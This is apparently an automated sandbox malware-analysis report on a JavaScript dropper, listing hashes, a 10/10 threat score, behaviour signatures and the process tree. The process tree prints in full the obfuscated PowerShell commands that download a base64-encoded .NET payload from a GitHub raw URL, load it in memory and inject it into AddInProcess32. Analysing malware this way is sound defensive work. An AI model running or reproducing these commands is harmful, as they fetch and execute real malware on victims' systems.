Overview

overview

10

Static

static

1

452773892199400.js

windows7-x64

10

452773892199400.js

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02-10-2024 01:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    452773892199400.js

  • Size

    198KB

  • MD5

    8a4caeb85a99c4cba82bc48f3668986d

  • SHA1

    99399b238f8b594bf247e517f7af5025668575f3

  • SHA256

    6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2

  • SHA512

    c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503

  • SSDEEP

    6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt
exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2884

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YOFA3F90CEOL754ES5GN.temp
    Filesize

    7KB

    MD5

    74ff833b9aba18325ba1a299299fd682

    SHA1

    fc12a83cac84c89f298f9d79bfe51cb73393c09c

    SHA256

    461428391bd8b36ed7d0b62e9309dd28b5d01c99bd0495eec7695f2c8e563ef3

    SHA512

    77026a2db5d94fb9b7fb8ee53f27ecc577255d954351a03c84631ceca8438d2da2aa9b3b8be262c9c7b071d9f1744e44a2575470f182af9b61800b2daeb6cf43

    Download Submit

  • memory/2696-4-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2696-5-0x000000001B770000-0x000000001BA52000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2696-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2696-8-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2696-13-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2696-14-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

    Filesize

    9.6MB

    Download